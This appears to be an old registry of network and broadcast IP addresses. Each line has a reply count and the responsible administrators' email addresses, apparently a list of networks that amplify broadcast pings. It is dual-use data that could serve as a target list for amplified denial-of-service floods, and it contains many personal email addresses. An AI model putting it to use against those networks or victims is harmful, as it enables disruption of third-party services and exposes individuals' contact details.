33 205.216.169.255 sei@vidpbx.com
33 207.223.132.255 Louis_Lee@icgcomm.com
33 207.223.132.0 Louis_Lee@icgcomm.com
33 207.177.7.0 noc@netins.net
33 207.177.77.0 noc@netins.net
33 207.165.137.255 dave.klinkefus@icn.state.ia.us
33 208.168.246.255 kenwhit@remc8.k12.mi.us
33 208.227.145.0 spell@wilmington.net
33 208.227.144.255 spell@wilmington.net
33 210.141.237.0 hostmaster@nic.ad.jp
33 209.187.17.0 dns@cerf.net
33 209.63.86.0 kmiller@mhz.com
33 209.56.78.255 tdao@aea11.k12.ia.us
33 207.28.180.0 dave.klinkefus@icn.state.ia.us
32 161.223.42.255
32 192.174.57.0
32 192.174.57.255
32 192.211.32.255 sawise@mindspring.com, wise@widedata.com
32 195.13.14.0 jmvl@belbone.net, igor@sportmans.com,
igor@medelec.uia.ac.be
32 199.105.221.0 dns@cerf.net
32 202.102.13.255 dmkou@publicf.bta.net.cn,
pearl.m@public1.ptt.js.cn
32 202.99.41.0
32 204.158.119.0 gjenere@tenet.edu
32 204.158.119.255 gjenere@tenet.edu
32 205.213.150.0 nic@mail.wiscnet.net
32 206.166.208.0 mwilliam@ptc.dcs.edu
32 206.170.111.255 dnsadmin@pbi.net
32 207.177.7.255 noc@netins.net
32 207.163.162.255 hostmaster@alameda-coe.k12.ca.us
32 210.161.135.0 hostmaster@nic.ad.jp
32 207.109.111.0 dns-info@uswest.net
32 207.196.81.255 hostmaster@clark.net
32 207.109.111.255 dns-info@uswest.net
32 207.109.43.255 dns-info@uswest.net
32 209.132.109.0 garyq@wpds.com
32 209.132.109.255 garyq@wpds.com
32 207.250.88.0 hostmaster@inc.net
32 206.222.96.0 diane.rowe@espire.net
32 212.32.168.0 info@norrnod.se, hakan@bostaden.umea.se
32 207.250.88.255 hostmaster@inc.net
32 212.32.168.255 info@norrnod.se, hakan@bostaden.umea.se
32 209.47.228.255 chris@tntech.com
32 212.32.167.0 info@norrnod.se, hakan@bostaden.umea.se
32 208.215.55.0 bo@quicklink.com
32 208.154.220.0 jon@thoughtbubble.com
32 208.154.220.255 jon@thoughtbubble.com
32 207.109.112.255 dns-info@uswest.net
32 207.109.112.0 dns-info@uswest.net
32 207.215.109.255 ichuang@netvip.com
32 208.130.41.255 steven_dudley@brunswick.pvt.k12.ct.us
32 216.51.58.0 technical@kivex.com
32 212.32.164.255 info@norrnod.se, hakan@bostaden.umea.se
31 161.223.163.255
31 161.223.42.0
31 169.139.30.0 hostmaster@mail.firn.edu
31 193.13.234.0
31 198.233.14.0 Don@arapahoe.edu
31 199.111.105.0 jaj@virginia.edu
31 203.2.75.255 mark@cristal.syd.pronet.com
31 204.32.80.0 bille@petersons.com
31 205.169.44.0 wgrendle@csn.net
31 205.187.39.255 Louis_Lee@icgcomm.com
31 205.221.104.0 grpjl@iastate.edu
31 205.221.104.255 grpjl@iastate.edu
31 205.231.58.255 help@uunet.uu.net
31 205.232.18.0 denz@ria.org
31 205.232.18.255 denz@ria.org
31 205.245.2.255 dns-admin@utelfla.com
31 206.166.215.255 mwilliam@ptc.dcs.edu
31 207.214.142.255 kgibbs@porterville.k12.ca.us
31 207.91.84.255 charlie_daneri@jeffersongroup.com
31 210.161.135.255 hostmaster@nic.ad.jp
31 209.47.235.0 pamela@ebean.com
31 209.47.235.255 pamela@ebean.com
31 209.132.105.0 garyq@wpds.com
31 209.233.200.0 ip-admin@pbi.net
31 209.233.200.255 ip-admin@pbi.net
31 209.232.140.0 ip-admin@pbi.net
31 209.232.140.255 ip-admin@pbi.net
31 209.152.31.255 hortonh@ednet10.net
31 212.32.164.0 info@norrnod.se, hakan@bostaden.umea.se
31 212.32.165.0 info@norrnod.se, hakan@bostaden.umea.se
31 212.32.165.255 info@norrnod.se, hakan@bostaden.umea.se
30 63.64.107.0 jshelnutt@ispalliance.net
30 63.64.107.255 jshelnutt@ispalliance.net
30 169.139.30.255 hostmaster@mail.firn.edu
30 192.204.76.0
30 193.13.234.255
30 195.232.126.0 hostmaster@wcom.net
30 199.111.105.255 jaj@virginia.edu
30 202.238.79.0 hostmaster@nic.ad.jp
30 202.238.79.255 hostmaster@nic.ad.jp
30 203.36.239.0 hostmaster@telstra.net
30 204.184.38.255 ben@more.net
30 204.243.42.0 hostinfo@psi.com
30 204.26.36.0
30 205.245.2.0 dns-admin@utelfla.com
30 207.17.200.0 avnet@radicalmedia.com
30 208.234.147.0 nomailbox@nowhere
30 209.48.15.0 dns@digex.net
30 208.10.133.0 nomailbox@nowhere
30 216.100.227.255 ip-admin@pbi.net
30 208.150.32.0 noc@megsinet.net
30 212.32.167.255 info@norrnod.se, hakan@bostaden.umea.se
30 208.20.180.0 aweisblatt@diefenbachelkins.com
30 209.113.148.255 dhoyt@hoyt.com
30 209.113.149.255 dhoyt@hoyt.com
30 209.85.22.0 hostmaster@softaware.com
30 212.32.166.255 info@norrnod.se, hakan@bostaden.umea.se
30 209.106.20.255 ben@more.net
30 209.215.112.0 ipadmin@bellsouth.net
29 193.140.136.0 root@risc01.bim.gantep.edu.tr
29 193.140.196.0 ozturanm@boun.edu.tr, baysalc@boun.edu.tr
29 193.140.196.255 ozturanm@boun.edu.tr, baysalc@boun.edu.tr
29 198.64.44.0 hostmaster@sesqui.net
29 198.76.85.0 dmcginni@ndu.edu
29 198.76.85.255 dmcginni@ndu.edu
29 199.72.140.255 hostmaster@interpath.net
29 202.102.138.255 dmkou@publicf.bta.net.cn, zxf@pub.sd.cninfo.net
29 202.104.151.0
29 202.96.155.0
29 205.160.84.0 NOC@sprint.net
29 205.160.84.255 NOC@sprint.net
29 205.227.63.255 lgoodman@iacnet.com
29 206.166.208.255 mwilliam@ptc.dcs.edu
29 208.218.96.0 mitch@gvtc.com
29 208.218.97.0 mitch@gvtc.com
29 208.218.96.255 mitch@gvtc.com
29 209.140.19.0 darin@good.net
29 209.133.61.255 noc@above.net
29 216.111.115.0 DLAURA@icsa.com
29 207.13.60.0 dnsadmin@sig.net
29 208.237.105.0 rwilhe@luk-us.com
29 209.7.177.0 wdahlen@mail.isbe.state.il.us
29 208.235.248.0 pokeefe@checkfree.com
29 209.7.177.255 wdahlen@mail.isbe.state.il.us
29 208.235.248.255 pokeefe@checkfree.com
29 208.200.99.0 lolszewski@spyglass.com
29 208.200.99.255 lolszewski@spyglass.com
29 207.96.117.0 domreg@erols.com
29 207.96.117.255 domreg@erols.com
29 207.100.21.0 hostmaster@icix.net
29 209.140.26.0 david@discom.net
29 206.72.158.0 david@discom.net
29 207.100.21.255 hostmaster@icix.net
29 207.177.74.255 noc@netins.net
29 206.72.158.255
29 207.177.74.0 noc@netins.net
29 209.39.117.0 netadmin@onramp.net
29 216.146.128.255 mike@bwn.net
29 212.109.0.0 fredrik.graff@powernet.se,
rune.gunnarsson@powernet.se,
martin.andell@powernet.se
29 209.79.64.0 nomailbox@nowhere
29 209.79.64.255 nomailbox@nowhere
29 212.32.166.0 info@norrnod.se, hakan@bostaden.umea.se
28 192.160.219.255 greenup@whittier.edu
28 193.45.251.0 Bertil.Hanses@trema.com
28 193.48.165.0 Michel.Leduc@univ-lehavre.fr,
Serge.Huberson@univ-lehavre.fr
28 193.51.48.0 meunier@ensam.decnet.citilille.fr,
mmeunier@mediartis.fr
28 193.51.48.255 meunier@ensam.decnet.citilille.fr,
mmeunier@mediartis.fr
28 193.51.50.255
28 193.52.147.255 Gerard.Lietout@univ-rouen.fr
28 193.74.176.0 mdevos@argo.be,
Francois.Wouters@gemeenschapsonderwijs.be
28 193.74.176.255 mdevos@argo.be,
Francois.Wouters@gemeenschapsonderwijs.be
28 194.151.209.255 said@interclimax.com
28 198.233.14.255 Don@arapahoe.edu
28 200.23.40.0 jescalera@mail.nl.gob.mx
28 202.102.30.0 dmkou@publicf.bta.net.cn,
pearl.m@public1.ptt.js.cn
28 204.186.98.0 dns-request@ptd.net
28 204.248.144.0 NOC@sprint.net
28 204.248.144.255 NOC@sprint.net
28 204.26.36.255
28 204.33.167.0 dpp@athena.com
28 204.6.136.0 hostinfo@psi.com
28 205.232.52.255 rcm@mmc.marymt.edu
28 206.140.86.255 lak@aads.net
28 209.140.19.255 darin@good.net
28 216.50.134.0 technical@kivex.com
28 216.111.115.255 DLAURA@icsa.com
28 208.157.56.0 alif@unibaseinc.com
28 216.115.160.0 alif@unibaseinc.com
28 208.157.59.255 alif@unibaseinc.com
28 216.115.160.255 alif@unibaseinc.com
28 208.139.68.0 bharvey@atmi.com
28 208.139.68.255 bharvey@atmi.com
28 208.198.61.255 noc@atlantech.net
28 207.155.93.255 hostmaster@softaware.com
28 209.39.24.255 netadmin@onramp.net
28 207.115.54.0 harrycw@prodigy.net
28 207.115.54.255 harrycw@prodigy.net
28 209.226.149.0 noc@in.bell.ca
28 208.147.191.0 cdc@groupz.net
28 208.147.191.255 cdc@groupz.net
28 208.150.32.255 noc@megsinet.net
28 210.227.226.0 hostmaster@nic.ad.jp
28 209.226.149.255 noc@in.bell.ca
28 208.13.18.255 nomailbox@nowhere
28 208.248.220.255 bill@columbiasussex.com
28 209.167.44.0 endicottg@mlgltd.com
28 207.225.84.0 dlongar@uswest.net
28 208.232.127.0 nomailbox@nowhere
28 209.146.18.0 hostmaster@idci.net
28 209.146.18.255 hostmaster@idci.net
28 208.212.143.255 david.moyle@teligent.com
28 216.60.108.0 hostmaster@swbell.net
28 209.193.191.255 mromm@kivex.com
27 24.217.1.255 mczakaria@chartercom.com
27 193.50.189.0 blanc@enit.fr
27 193.50.189.255 blanc@enit.fr
27 193.51.50.0
27 194.235.135.255 csl01@mail.telepac.pt
27 198.112.56.0 mikem@cw.com
27 200.17.178.0 gomide@nic.br
27 200.23.40.255 jescalera@mail.nl.gob.mx
27 200.23.43.0 jescalera@mail.nl.gob.mx
27 202.104.150.255
27 202.24.143.255 hostmaster@nic.ad.jp
27 204.131.139.255 emontero@gmgw.com
27 204.171.125.255 sph@nauticom.net
27 204.254.150.0 postmaster@arn.net
27 204.254.150.255 postmaster@arn.net
27 204.30.45.0 herbert.kwok@jwtworks.com
27 204.30.45.255 herbert.kwok@jwtworks.com
27 205.213.180.0 ahintz@wisp.k12.wi.us
27 206.172.156.0 debbie@worldlinx.com
27 206.172.156.255 debbie@worldlinx.com
27 206.172.201.0 debbie@worldlinx.com
27 206.172.201.255 debbie@worldlinx.com
27 206.172.202.0 debbie@worldlinx.com
27 206.172.202.255 debbie@worldlinx.com
27 206.172.203.0 debbie@worldlinx.com
27 206.172.203.255 debbie@worldlinx.com
27 206.172.204.0 debbie@worldlinx.com
27 206.172.204.255 debbie@worldlinx.com
27 206.172.227.0 debbie@worldlinx.com
27 206.172.227.255 debbie@worldlinx.com
27 206.172.240.0 debbie@worldlinx.com
27 206.172.240.255 debbie@worldlinx.com
27 206.172.241.0 debbie@worldlinx.com
27 206.172.241.255 debbie@worldlinx.com
27 206.172.242.0 debbie@worldlinx.com
27 206.172.242.255 debbie@worldlinx.com
27 206.172.243.0 debbie@worldlinx.com
27 206.172.243.255 debbie@worldlinx.com
27 206.172.94.0 debbie@worldlinx.com
27 206.172.94.255 debbie@worldlinx.com
27 207.115.60.255 harrycw@prodigy.net
27 209.233.209.0 ip-admin@pbi.net
27 207.202.66.255 noc@corp.idt.net
27 216.50.134.255 technical@kivex.com
27 207.202.66.0 noc@corp.idt.net
27 206.97.4.0 william.winkel@spencergifts.com
27 208.240.37.0 kuba.tatarkiwicz@themedco.com
27 208.212.74.0 espencer@globix.com
27 208.212.74.255 espencer@globix.com
27 207.153.112.0 noc@netrail.net
27 207.99.208.0 art@lacoe.edu
27 208.152.233.0 doug@cookman.edu
27 207.153.112.255 noc@netrail.net
27 209.233.209.255 ip-admin@pbi.net
27 208.152.233.255 doug@cookman.edu
27 208.144.7.0 DIGICON@mindspring.com
27 209.207.15.0 amcbeth@wacohs.com
27 208.144.7.255 DIGICON@mindspring.com
27 207.115.60.0 harrycw@prodigy.net
27 206.74.159.0 mckee@admin.infoave.net
27 206.74.159.255 mckee@admin.infoave.net
27 207.97.140.0 sbriggs@i-2000.com
27 209.48.15.255 dns@digex.net
27 207.97.140.255 sbriggs@i-2000.com
27 216.1.138.255 dns@digex.net
27 216.27.3.0 mbn@ilan.net
27 207.61.114.0 debbie@bellglobal.com
27 207.61.180.0 debbie@bellglobal.com
27 207.61.184.0 debbie@bellglobal.com
27 207.61.114.255 debbie@bellglobal.com
27 207.61.180.255 debbie@bellglobal.com
27 207.61.184.255 debbie@bellglobal.com
27 208.2.81.255 jstabler@emi.net
27 207.108.165.255 dns-info@uswest.net
27 207.55.63.0 baron@aa.net
27 207.108.165.0 dns-info@uswest.net
27 209.70.110.255 hostmaster@clark.net
27 209.132.128.0 hostmaster@alameda-coe.k12.ca.us
27 208.153.239.0 lnguyen@gstworld.net
27 208.153.239.255 lnguyen@gstworld.net
27 216.60.98.255 hostmaster@swbell.net
26 63.64.128.255 info@schwablearning.org
26 194.167.45.0 bdulmet@ens2m.fr
26 194.193.118.0
26 194.193.118.255
26 194.205.160.0 support@insnet.net
26 198.64.33.0 hostmaster@sesqui.net
26 198.64.33.255 hostmaster@sesqui.net
26 199.104.18.0 hathpaul@ba.isu.edu
26 199.104.18.255 hathpaul@ba.isu.edu
26 199.249.19.255 paul.weber@mci.com
26 200.23.41.255 jescalera@mail.nl.gob.mx
26 200.23.43.255 jescalera@mail.nl.gob.mx
26 200.39.223.255 rgarcia@mvs.com.mx
26 202.212.202.0 hostmaster@nic.ad.jp
26 202.212.202.255 hostmaster@nic.ad.jp
26 202.234.4.0 hostmaster@nic.ad.jp
26 202.234.4.255 hostmaster@nic.ad.jp
26 204.142.205.0 stone@salem.cc.nj.us
26 204.142.205.255 stone@salem.cc.nj.us
26 204.168.129.0 ny0149@mail.nyer.net
26 204.168.129.255 ny0149@mail.nyer.net
26 204.171.125.0 sph@nauticom.net
26 204.245.217.0 spencer@bendnet.com
26 204.245.217.255 spencer@bendnet.com
26 204.255.216.0 sysop@iwl.net
26 204.50.62.255 noc@sprint-canada.net
26 204.73.51.0 mike@haven.com
26 204.73.51.255 mike@haven.com
26 205.221.234.0 grpjl@iastate.edu
26 205.227.63.0 lgoodman@iacnet.com
26 205.244.244.0 ddalton@netreveal.com
26 206.15.182.0 wink@ziplink.net
26 206.163.29.0 spencer@bendnet.com
26 206.163.31.0 hostmaster@rain.net
26 206.163.31.255 hostmaster@rain.net
26 216.103.204.0 ip-admin@pbi.net
26 216.111.166.255 noc@qwest.net
26 216.103.205.255 ip-admin@pbi.net
26 207.215.238.255 jaykata@ltsc.org
26 207.66.244.255 pat@wolfe.net
26 216.111.15.0 PETRONICK@convergence.com
26 216.111.220.0 asadowsky@westla.studley.com
26 216.111.15.255 PETRONICK@convergence.com
26 209.227.70.255 eric@mxol.com
26 216.111.220.255 noc@qwest.net
26 207.165.81.0 dave.klinkefus@icn.state.ia.us
26 209.94.160.0 wells@wctc.net
26 207.164.163.0 debbie@bellglobal.com
26 206.28.86.255 lmarcus@magibox.net
26 209.94.163.255 wells@wctc.net
26 207.164.163.255 debbie@bellglobal.com
26 207.165.81.255 dave.klinkefus@icn.state.ia.us
26 208.169.108.0 ayre@convergence.com
26 208.169.109.0 ayre@convergence.com
26 209.78.215.0 nomailbox@nowhere
26 210.150.28.255 hostmaster@nic.ad.jp
26 208.169.108.255 ayre@convergence.com
26 208.169.109.255 ayre@convergence.com
26 209.78.215.255 nomailbox@nowhere
26 207.107.141.0 noc@sprint-canada.net
26 216.132.110.0 dnstech@eni.net
26 216.132.106.255 dnstech@eni.net
26 216.1.136.0 dns@digex.net
26 209.39.117.255 netadmin@onramp.net
26 216.1.136.255 dns@digex.net
26 208.30.140.255 MPOWELL@hublink.com
26 216.146.128.0 mike@bwn.net
26 207.96.71.0 domreg@erols.com
26 208.215.55.255 bo@quicklink.com
26 209.69.61.0 dns@rust.net
26 209.69.145.0 dns@rust.net
26 210.235.164.0 hostmaster@nic.ad.jp
26 209.69.176.0 chris@sensible-net.com
26 209.69.61.255
26 209.69.176.255 chris@sensible-net.com
26 206.176.32.0 kimh@is.state.sd.us
26 209.47.137.255 bmollon@saatchi.ca
26 207.28.180.255 dave.klinkefus@icn.state.ia.us
26 209.208.223.0 hostmaster@pfmc.net
26 208.232.127.255 nomailbox@nowhere
26 209.208.223.255 hostmaster@pfmc.net
26 207.203.4.255 ipadmin@bellsouth.net
26 209.132.128.255 hostmaster@alameda-coe.k12.ca.us
26 206.176.32.255 kimh@is.state.sd.us
26 208.228.41.255 bkressman@netexplorer.com
26 209.100.174.255 noc@uss.net
26 209.193.191.0 mromm@kivex.com
26 209.215.115.255 ipadmin@bellsouth.net
25 24.6.16.0 noc@noc.home.net
25 192.208.22.0 hays@wapa.gov
25 192.208.22.255 hays@wapa.gov
25 192.251.100.255 MCCOY@ucsvm.mcneese.edu
25 193.106.23.0 yp@jouve.fr
25 193.205.54.255 staff-lir@garr.net, Enzo.Valente@infn.it,
maint@imiucsc.bitnet, mlombard@mi.unicatt.it
25 194.151.209.0 said@interclimax.com
25 194.57.10.0 techfem@mobilia.it
25 194.57.10.255 techfem@mobilia.it
25 195.27.208.255 spona@tmt.de, hoereth@tmt.de,
peter.maisel@maisel.de, hostmaster@maisel.de
25 198.145.48.255 dns@e-z.net
25 199.182.216.0 Louis_Lee@icgcomm.com
25 199.182.216.255 Louis_Lee@icgcomm.com
25 200.23.41.0 jescalera@mail.nl.gob.mx
25 200.39.223.0 rgarcia@mvs.com.mx
25 202.104.150.0
25 202.77.222.0 belcina@attmail.com
25 202.77.222.255 belcina@attmail.com
25 203.244.121.0 ikoh@rs.krnic.net, syha@rs.krnic.net
25 203.244.121.255 ikoh@rs.krnic.net, syha@rs.krnic.net
25 203.38.29.0 hostmaster@telstra.net
25 204.171.52.0 crbaugh@pennet.com
25 204.171.52.255 crbaugh@pennet.com
25 204.4.229.0 hostinfo@psi.com
25 204.4.229.255 hostinfo@psi.com
25 205.126.59.0 mcleary@uen.org
25 205.126.59.255 mcleary@uen.org
25 205.139.127.255 kerrigan@syrlang.com
25 205.143.126.255 rtesta@gia.org
25 205.184.238.0 root@cattco.com
25 205.184.238.255 root@cattco.com
25 205.221.100.0 grpjl@iastate.edu
25 205.221.100.255 grpjl@iastate.edu
25 205.221.234.255 grpjl@iastate.edu
25 205.221.235.0 grpjl@iastate.edu
25 205.221.235.255 grpjl@iastate.edu
25 205.244.244.255 ddalton@netreveal.com
25 206.108.86.0 bhewlitt@interlog.com
25 206.108.86.255 bhewlitt@interlog.com
25 206.170.104.0 rlai@paclink.net
25 207.158.27.255 dns@adnc.com
25 208.129.111.0 pablo@mmind.net
25 210.169.71.0 hostmaster@nic.ad.jp
25 209.102.84.0 dns-admin@ixa.net
25 207.16.219.255 help@uunet.uu.net
25 210.224.249.255 hostmaster@nic.ad.jp
25 208.130.144.0 nomailbox@nowhere
25 207.66.244.0 pat@wolfe.net
25 210.224.249.0 hostmaster@nic.ad.jp
25 210.161.160.255 hostmaster@nic.ad.jp
25 216.101.120.0 ip-admin@pbi.net
25 207.16.219.0 help@uunet.uu.net
25 207.215.238.0 jaykata@ltsc.org
25 210.169.71.255 hostmaster@nic.ad.jp
25 216.101.123.255 ip-admin@pbi.net
25 212.250.2.0 nmc@ntli.net, bob.procter@ntli.net
25 212.140.54.0 support@bt.net
25 212.140.55.0 support@bt.net
25 209.82.81.0 NOCToronto@metronet.ca
25 210.141.247.0 hostmaster@nic.ad.jp
25 212.250.2.255 nmc@ntli.net, bob.procter@ntli.net
25 209.82.81.255 NOCToronto@metronet.ca
25 209.82.88.255 NOCToronto@metronet.ca
25 210.141.247.255 hostmaster@nic.ad.jp
25 208.243.98.0 dave@mva.net
25 208.243.100.0 dave@mva.net
25 208.243.101.0 dave@mva.net
25 210.127.200.0 mgr@matrix.shinbiro.com, ip@matrix.shinbiro.com
25 208.243.98.255 dave@mva.net
25 208.243.99.255 dave@mva.net
25 208.243.100.255
25 208.130.144.255 nomailbox@nowhere
25 208.225.145.0 postmaster@dnap.com
25 209.167.146.0 itelford@scaleable.com
25 207.161.8.255 traceyv@tds.mb.ca
25 209.183.215.0 noc@atlantech.net
25 208.243.99.0 dave@mva.net
25 207.107.141.255 noc@sprint-canada.net
25 216.132.107.0 dnstech@eni.net
25 216.132.111.255 dnstech@eni.net
25 210.127.194.255 mgr@matrix.shinbiro.com, ip@matrix.shinbiro.com
25 216.1.138.0 dns@digex.net
25 208.168.208.0 julianc@peganet.net
25 210.163.253.0 hostmaster@nic.ad.jp
25 216.132.107.255 dnstech@eni.net
25 208.168.208.255 julianc@peganet.net
25 210.74.226.0 std-gm@online.sh.cn, std-gm@online.sh.cn
25 208.201.208.255 shai@interramp.com
25 208.219.165.0 dchayer@research.yankeegroup.c
25 208.219.165.255 dchayer@research.yankeegroup.c
25 208.20.180.255 aweisblatt@diefenbachelkins.com
25 208.2.81.0 jstabler@emi.net
25 209.107.45.255 hostmaster@co.verio.net
25 209.227.75.0 eric@mxol.com
25 208.192.231.255 noc@interactive.net
25 209.12.84.0 acasec@mindspring.com
25 209.100.183.0 danh@tbcnet.com
25 209.12.84.255 acasec@mindspring.com
25 207.249.144.0 nobody@nowhere.com.mx
25 208.18.250.0 jlytle@magicorp.com
25 208.18.250.255 jlytle@magicorp.com
24 24.4.63.0 noc@noc.home.net
24 24.6.16.255 noc@noc.home.net
24 63.64.218.0 ryanm@carr.org
24 63.64.219.0 help@uunet.uu.net
24 167.216.167.0 tom@htdc.org
24 192.246.231.0 hostinfo@psi.com
24 192.246.231.255 hostinfo@psi.com
24 194.168.1.0 nmc@ntli.net, chrism@cableol.net
24 194.168.1.255 nmc@ntli.net, chrism@cableol.net
24 195.198.22.0
24 195.198.22.255
24 195.249.88.0
24 195.7.84.255 daniel@sandberg.se, johan@pi.se
24 198.119.8.0 Curt.A.Suprock.1@gsfc.nasa.gov
24 198.119.8.255 Curt.A.Suprock.1@gsfc.nasa.gov
24 198.150.128.255 jengel@co.waukesha.wi.us
24 198.64.44.255 hostmaster@sesqui.net
24 199.1.158.255 netadmin@onramp.net
24 199.108.74.0 dns@cerf.net
24 200.0.224.0 jorge@satlink.com
24 202.132.227.0 ip@ktnet.co.kr
24 202.132.227.255 dyang@mky.com, jackey@mky.com
24 202.232.118.0 hostmaster@nic.ad.jp
24 202.232.118.255 hostmaster@nic.ad.jp
24 202.33.96.0 hostmaster@nic.ad.jp
24 203.127.27.0 meng@mediacity.com.sg, hostmaster@singnet.com.sg
24 203.127.27.255 meng@mediacity.com.sg, hostmaster@singnet.com.sg
24 203.8.88.0 roger@next.com.au
24 204.131.139.0 emontero@gmgw.com
24 204.151.38.0 bterry@burnettgroup.com
24 204.151.38.255 bterry@burnettgroup.com
24 204.179.122.0 mdg@epnet.com
24 204.179.122.255 mdg@epnet.com
24 204.233.66.255 Thane_White@shscom.com
24 204.34.17.255
24 205.169.44.255 wgrendle@csn.net
24 205.178.84.0 dave@brainstorm.net
24 205.205.132.0 dgiroux@cenosis.com
24 205.253.114.255 karl@mcs.com
24 206.194.58.255 wray@nevada.edu
24 206.194.58.0 wray@nevada.edu
24 207.177.42.255 noc@netins.net
24 207.1.191.0 dspeed@midusa.net
24 207.22.96.0 hostmaster@clark.net
24 207.22.96.255 hostmaster@clark.net
24 212.250.1.0 nmc@ntli.net, pulak.rakshit@ntli.net
24 210.164.17.0 hostmaster@nic.ad.jp
24 210.227.123.0 hostmaster@nic.ad.jp
24 212.250.1.255 nmc@ntli.net, pulak.rakshit@ntli.net
24 210.164.17.255 hostmaster@nic.ad.jp
24 210.227.123.255 hostmaster@nic.ad.jp
24 207.183.136.255 noc@unicom.net
24 212.140.54.255 support@bt.net
24 207.109.152.255 dns-info@uswest.net
24 207.50.128.0 dnsadmin@eznet.net
24 209.105.128.0 dnsadmin@eznet.net
24 209.105.130.0 dnsadmin@eznet.net
24 207.50.137.0 dnsadmin@eznet.net
24 208.157.157.0 billing@eznet.net
24 208.145.15.255 stephent@intelis.com
24 207.50.128.255 dnsadmin@eznet.net
24 209.105.129.255 dnsadmin@eznet.net
24 209.105.131.255 dnsadmin@eznet.net
24 207.50.137.255 dnsadmin@eznet.net
24 208.157.157.255 billing@eznet.net
24 212.158.14.0 support@insnet.net
24 208.227.188.0 nb@jobtrak.com
24 212.158.14.255 support@insnet.net
24 208.227.188.255 nb@jobtrak.com
24 208.6.63.0 postmaster@watsonelec.com
24 208.6.63.255 postmaster@watsonelec.com
24 216.132.106.0 dnstech@eni.net
24 208.14.42.255 jerry@digital.net
24 207.42.162.255 postmaster@southernvirginia.edu
24 207.225.69.0 dlongar@uswest.net
24 209.75.96.255 noc@atmnet.net
24 209.227.41.0 eric@mxol.com
24 206.222.63.0 kreed@artmarkchicago.com
24 208.192.231.0 noc@interactive.net
24 206.222.63.255 kreed@artmarkchicago.com
24 216.101.206.255 ip-admin@pbi.net
24 209.166.16.0 hostmaster@ultracom.net
24 206.23.174.0 jwinters@tec.net
24 206.23.174.255 jwinters@tec.net
24 209.198.202.255
24 208.228.41.0 bkressman@netexplorer.com
24 207.174.151.0 jmiller@netinfrastructure.com
24 207.249.144.255 nobody@nowhere.com.mx
24 207.174.151.255 jmiller@netinfrastructure.com
24 209.95.150.0 bob@storkeavenue.com
24 208.26.206.0 pete@ashland.or.us
24 207.249.142.255 nobody@nowhere.com.mx
24 208.26.206.255 pete@ashland.or.us
24 210.236.171.255 hostmaster@nic.ad.jp
24 209.106.21.255 ben@more.net
23 63.64.218.255 ryanm@carr.org
23 63.64.219.255 help@uunet.uu.net
23 63.65.8.255 twright@cathedral.org
23 129.113.180.0 burnett@panam1.panam.edu
23 129.113.180.255 burnett@panam1.panam.edu
23 155.36.122.0 scott@ties.org
23 155.36.122.255 scott@ties.org
23 155.36.123.0 scott@ties.org
23 155.36.123.255 scott@ties.org
23 192.204.250.0 trouble
@prep.net
23 192.204.250.255 trouble@prep.net
23 192.251.100.0 MCCOY@ucsvm.mcneese.edu
23 193.106.9.255 yp@jouve.fr
23 194.73.96.0 dcheetham@gateshead.ac.uk
23 194.73.96.255 dcheetham@gateshead.ac.uk
23 195.220.107.0
23 198.168.5.255 registrar@interlink.net
23 199.108.250.0 dns@cerf.net
23 199.35.107.255 rick@merc-int.com
23 200.5.200.0 nomailbox@nowhere
23 200.5.200.255 nomailbox@nowhere
23 202.213.5.255 hostmaster@nic.ad.jp
23 203.139.53.0 hostmaster@nic.ad.jp
23 203.139.53.255 hostmaster@nic.ad.jp
23 203.146.30.0 kanok@loxinfo.co.th, patkamol@loxinfo.co.th
23 203.8.88.255 roger@next.com.au
23 204.0.28.0 hostmaster@sesqui.net
23 204.0.28.255 hostmaster@sesqui.net
23 204.112.189.0 admin@autobahn.mb.ca
23 204.112.189.255 admin@autobahn.mb.ca
23 204.152.143.0 ellen.eidelman@wizcom.com
23 204.152.143.255 ellen.eidelman@wizcom.com
23 204.160.19.255 pat@tandem.com
23 204.17.16.0 rjcurry.oramail@apollogrp.edu
23 204.17.16.255 rjcurry.oramail@apollogrp.edu
23 204.48.153.255 tuma@ceo.sbceo.k12.ca.us
23 204.57.191.0 john@bmi.net
23 204.57.191.255 john@bmi.net
23 204.7.180.0 hostinfo@psi.com
23 204.7.180.255 hostinfo@psi.com
23 205.120.114.0 mcleary@uen.org
23 205.120.114.255 mcleary@uen.org
23 205.120.116.0 mcleary@uen.org
23 205.120.116.255 mcleary@uen.org
23 205.125.42.0 mcleary@uen.org
23 205.125.42.255 mcleary@uen.org
23 205.237.226.255 nomailbox@nowhere
23 206.100.150.0 nomailbox@nowhere
23 206.138.26.0 dholowesko@bahamas.net.bs
23 206.138.26.255 dholowesko@bahamas.net.bs
23 206.150.180.0 billw@mail.icongrp.com
23 206.150.180.255 billw@mail.icongrp.com
23 207.177.123.0 noc@netins.net
23 206.20.225.0 noc@corp.idt.net
23 207.177.123.255 noc@netins.net
23 207.233.136.0 noc@diginetusa.net
23 207.233.136.255 noc@diginetusa.net
23 206.20.225.255 noc@corp.idt.net
23 210.225.98.255 hostmaster@nic.ad.jp
23 207.238.117.0 dns@digex.net
23 207.238.117.255 dns@digex.net
23 207.165.86.0 dave.klinkefus@icn.state.ia.us
23 208.203.150.0 dbach@globally.net
23 208.154.170.0 ipadmin@cw.net
23 208.203.150.255 dbach@globally.net
23 208.154.170.255 ipadmin@cw.net
23 207.109.152.0 dns-info@uswest.net
23 207.205.184.0 netadmin@ao.wcom.net
23 207.205.188.0 netadmin@ao.wcom.net
23 207.205.250.0 netadmin@ao.wcom.net
23 207.205.187.255 netadmin@ao.wcom.net
23 207.205.191.255 netadmin@ao.wcom.net
23 207.205.250.255 netadmin@ao.wcom.net
23 208.247.2.0 hostmaster@btitelecom.net
23 208.145.15.0 stephent@intelis.com
23 208.247.2.255 hostmaster@btitelecom.net
23 207.165.86.255 dave.klinkefus@icn.state.ia.us
23 208.138.51.0 superdb@phonewave.net
23 209.213.224.0 brad@odyssey.on.ca
23 209.213.225.0 brad@odyssey.on.ca
23 209.213.229.0 brad@odyssey.on.ca
23 209.213.230.0 brad@odyssey.on.ca
23 209.213.232.0 brad@odyssey.on.ca
23 208.168.238.0 rpost@remc8.k12.mi.us
23 209.213.240.0
23 208.138.51.255 superdb@phonewave.net
23 209.43.195.255 domain@accessone.com
23 209.213.224.255 brad@odyssey.on.ca
23 209.213.225.255 brad@odyssey.on.ca
23 209.213.229.255 brad@odyssey.on.ca
23 209.213.230.255 brad@odyssey.on.ca
23 209.213.232.255 brad@odyssey.on.ca
23 208.168.238.255 rpost@remc8.k12.mi.us
23 209.213.240.255
23 209.39.136.0
23 207.190.143.0 hostmaster@source.net
23 206.81.214.0 dns-info@uswest.net
23 208.129.226.0 vince@markzware.com
